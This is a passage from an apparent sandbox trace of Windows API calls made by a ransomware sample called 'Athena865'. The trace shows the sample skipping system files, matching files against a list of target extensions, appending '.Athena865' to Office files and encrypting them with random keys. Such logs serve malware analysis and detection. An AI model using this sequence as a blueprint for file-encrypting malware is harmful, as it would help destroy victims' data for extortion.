[0114.060] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.060] lstrlenW (lpString="ora") returned 3 [0114.060] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.060] lstrlenW (lpString="orx") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.061] lstrlenW (lpString="owc") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.061] lstrlenW (lpString="p96") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.061] lstrlenW (lpString="p97") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.061] lstrlenW (lpString="pan") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.061] lstrlenW (lpString="pdb") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.061] lstrlenW (lpString="pdm") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.061] lstrlenW (lpString="pnz") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.061] lstrlenW (lpString="qry") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.061] lstrlenW (lpString="qvd") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.061] lstrlenW (lpString="rbf") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.061] lstrlenW (lpString="rctd") returned 4 [0114.061] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.061] lstrlenW (lpString="rod") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.061] lstrlenW (lpString="rodx") returned 4 [0114.061] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.061] lstrlenW (lpString="rpd") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.061] lstrlenW (lpString="rsd") returned 3 [0114.061] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.062] lstrlenW (lpString="sas7bdat") returned 8 [0114.062] lstrcmpiW (lpString1="OXEV.DLL", lpString2="sas7bdat") returned -1 [0114.062] lstrlenW (lpString="sbf") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.062] lstrlenW (lpString="scx") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.062] lstrlenW (lpString="sdb") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.062] lstrlenW (lpString="sdc") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.062] lstrlenW (lpString="sdf") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.062] lstrlenW (lpString="sis") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.062] lstrlenW (lpString="spq") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.062] lstrlenW (lpString="te") returned 2 [0114.062] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.062] lstrlenW (lpString="teacher") returned 7 [0114.062] lstrcmpiW (lpString1="XEV.DLL", lpString2="teacher") returned 1 [0114.062] lstrlenW (lpString="tmd") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.062] lstrlenW (lpString="tps") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.062] lstrlenW (lpString="trc") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.062] lstrlenW (lpString="trc") returned 3 [0114.062] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.062] lstrlenW (lpString="trm") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.063] lstrlenW (lpString="udb") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.063] lstrlenW (lpString="udl") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.063] lstrlenW (lpString="usr") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.063] lstrlenW (lpString="v12") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.063] lstrlenW (lpString="vis") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.063] lstrlenW (lpString="vpd") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.063] lstrlenW (lpString="vvv") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.063] lstrlenW (lpString="wdb") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.063] lstrlenW (lpString="wmdb") returned 4 [0114.063] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.063] lstrlenW (lpString="wrk") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.063] lstrlenW (lpString="xdb") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.063] lstrlenW (lpString="xld") returned 3 [0114.063] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.063] lstrlenW (lpString="xmlff") returned 5 [0114.063] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0114.063] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.Athena865") returned 76 [0114.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.athena865"), dwFlags=0x1) returned 1 [0114.065] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxev.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.066] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56144) returned 1 [0114.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.066] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.066] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.067] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.067] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.067] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xde50, lpName=0x0) returned 0x17c [0114.068] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xde50) returned 0x100000 [0114.072] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.072] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.072] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.072] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.073] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.073] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.073] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.073] CloseHandle (hObject=0x17c) returned 1 [0114.074] CloseHandle (hObject=0x154) returned 1 [0114.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.074] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="..") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="windows") returned -1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="bootmgr") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="temp") returned -1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="pagefile.sys") returned -1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="boot") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="ids.txt") returned 1 [0114.074] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="ntuser.dat") returned -1 [0114.075] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="perflogs") returned -1 [0114.075] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2="MSBuild") returned 1 [0114.075] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0114.075] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSOXMLED.EXE" | out: lpString1="MSOXMLED.EXE") returned="MSOXMLED.EXE" [0114.075] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0114.075] lstrlenW (lpString="Athena865") returned 9 [0114.075] lstrcmpiW (lpString1="XMLED.EXE", lpString2="Athena865") returned 1 [0114.075] lstrlenW (lpString=".dll") returned 4 [0114.075] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".dll") returned 1 [0114.075] lstrlenW (lpString=".lnk") returned 4 [0114.075] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".lnk") returned 1 [0114.075] lstrlenW (lpString=".ini") returned 4 [0114.075] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".ini") returned 1 [0114.075] lstrlenW (lpString=".sys") returned 4 [0114.075] lstrcmpiW (lpString1="MSOXMLED.EXE", lpString2=".sys") returned 1 [0114.075] lstrlenW (lpString="MSOXMLED.EXE") returned 12 [0114.075] lstrlenW (lpString="bak") returned 3 [0114.075] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0114.075] lstrlenW (lpString="ba_") returned 3 [0114.075] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0114.075] lstrlenW (lpString="dbb") returned 3 [0114.075] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0114.075] lstrlenW (lpString="vmdk") returned 4 [0114.075] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0114.075] lstrlenW (lpString="rar") returned 3 [0114.075] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0114.075] lstrlenW (lpString="zip") returned 3 [0114.075] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0114.075] lstrlenW (lpString="tgz") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0114.076] lstrlenW (lpString="vbox") returned 4 [0114.076] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0114.076] lstrlenW (lpString="vdi") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0114.076] lstrlenW (lpString="vhd") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0114.076] lstrlenW (lpString="vhdx") returned 4 [0114.076] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0114.076] lstrlenW (lpString="avhd") returned 4 [0114.076] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0114.076] lstrlenW (lpString="db") returned 2 [0114.076] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0114.076] lstrlenW (lpString="db2") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0114.076] lstrlenW (lpString="db3") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0114.076] lstrlenW (lpString="dbf") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0114.076] lstrlenW (lpString="mdf") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0114.076] lstrlenW (lpString="mdb") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0114.076] lstrlenW (lpString="sql") returned 3 [0114.076] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0114.076] lstrlenW (lpString="sqlite") returned 6 [0114.076] lstrcmpiW (lpString1="ED.EXE", lpString2="sqlite") returned -1 [0114.076] lstrlenW (lpString="sqlite3") returned 7 [0114.076] lstrcmpiW (lpString1="LED.EXE", lpString2="sqlite3") returned -1 [0114.076] lstrlenW (lpString="sqlitedb") returned 8 [0114.077] lstrcmpiW (lpString1="MLED.EXE", lpString2="sqlitedb") returned -1 [0114.077] lstrlenW (lpString="xml") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0114.077] lstrlenW (lpString="$er") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0114.077] lstrlenW (lpString="4dd") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0114.077] lstrlenW (lpString="4dl") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0114.077] lstrlenW (lpString="^^^") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0114.077] lstrlenW (lpString="abs") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0114.077] lstrlenW (lpString="abx") returned 3 [0114.077] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0114.077] lstrlenW (lpString="accdb") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accdb") returned 1 [0114.077] lstrlenW (lpString="accdc") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accdc") returned 1 [0114.077] lstrlenW (lpString="accde") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accde") returned 1 [0114.077] lstrlenW (lpString="accdr") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accdr") returned 1 [0114.077] lstrlenW (lpString="accdt") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accdt") returned 1 [0114.077] lstrlenW (lpString="accdw") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accdw") returned 1 [0114.077] lstrlenW (lpString="accft") returned 5 [0114.077] lstrcmpiW (lpString1="D.EXE", lpString2="accft") returned 1 [0114.077] lstrlenW (lpString="adb") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0114.078] lstrlenW (lpString="adb") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0114.078] lstrlenW (lpString="ade") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0114.078] lstrlenW (lpString="adf") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0114.078] lstrlenW (lpString="adn") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0114.078] lstrlenW (lpString="adp") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0114.078] lstrlenW (lpString="alf") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0114.078] lstrlenW (lpString="ask") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0114.078] lstrlenW (lpString="btr") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0114.078] lstrlenW (lpString="cat") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0114.078] lstrlenW (lpString="cdb") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0114.078] lstrlenW (lpString="ckp") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0114.078] lstrlenW (lpString="cma") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0114.078] lstrlenW (lpString="cpd") returned 3 [0114.078] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0114.078] lstrlenW (lpString="dacpac") returned 6 [0114.078] lstrcmpiW (lpString1="ED.EXE", lpString2="dacpac") returned 1 [0114.079] lstrlenW (lpString="dad") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0114.079] lstrlenW (lpString="dadiagrams") returned 10 [0114.079] lstrcmpiW (lpString1="OXMLED.EXE", lpString2="dadiagrams") returned 1 [0114.079] lstrlenW (lpString="daschema") returned 8 [0114.079] lstrcmpiW (lpString1="MLED.EXE", lpString2="daschema") returned 1 [0114.079] lstrlenW (lpString="db-journal") returned 10 [0114.079] lstrcmpiW (lpString1="OXMLED.EXE", lpString2="db-journal") returned 1 [0114.079] lstrlenW (lpString="db-shm") returned 6 [0114.079] lstrcmpiW (lpString1="ED.EXE", lpString2="db-shm") returned 1 [0114.079] lstrlenW (lpString="db-wal") returned 6 [0114.079] lstrcmpiW (lpString1="ED.EXE", lpString2="db-wal") returned 1 [0114.079] lstrlenW (lpString="dbc") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0114.079] lstrlenW (lpString="dbs") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0114.079] lstrlenW (lpString="dbt") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0114.079] lstrlenW (lpString="dbv") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0114.079] lstrlenW (lpString="dbx") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0114.079] lstrlenW (lpString="dcb") returned 3 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0114.079] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0114.080] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0114.080] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.Athena865") returned 78 [0114.080] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.athena865"), dwFlags=0x1) returned 1 [0114.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.081] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=121168) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.081] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.081] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.082] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.082] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.082] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dc50, lpName=0x0) returned 0x17c [0114.091] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1dc50) returned 0x100000 [0114.096] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.097] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.097] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.098] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.098] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.099] CloseHandle (hObject=0x17c) returned 1 [0114.099] CloseHandle (hObject=0x154) returned 1 [0114.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.100] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="..") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="windows") returned -1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="bootmgr") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="temp") returned -1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="pagefile.sys") returned -1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="boot") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="ids.txt") returned 1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="ntuser.dat") returned -1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="perflogs") returned -1 [0114.100] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2="MSBuild") returned 1 [0114.100] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0114.100] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MSOXMLMF.DLL" | out: lpString1="MSOXMLMF.DLL") returned="MSOXMLMF.DLL" [0114.100] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0114.100] lstrlenW (lpString="Athena865") returned 9 [0114.100] lstrcmpiW (lpString1="XMLMF.DLL", lpString2="Athena865") returned 1 [0114.100] lstrlenW (lpString=".dll") returned 4 [0114.101] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".dll") returned 1 [0114.101] lstrlenW (lpString=".lnk") returned 4 [0114.101] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".lnk") returned 1 [0114.101] lstrlenW (lpString=".ini") returned 4 [0114.101] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".ini") returned 1 [0114.101] lstrlenW (lpString=".sys") returned 4 [0114.101] lstrcmpiW (lpString1="MSOXMLMF.DLL", lpString2=".sys") returned 1 [0114.101] lstrlenW (lpString="MSOXMLMF.DLL") returned 12 [0114.101] lstrlenW (lpString="bak") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.101] lstrlenW (lpString="ba_") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.101] lstrlenW (lpString="dbb") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.101] lstrlenW (lpString="vmdk") returned 4 [0114.101] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.101] lstrlenW (lpString="rar") returned 3 [0114.101] lstrcmpiW (lpString1="DLL", 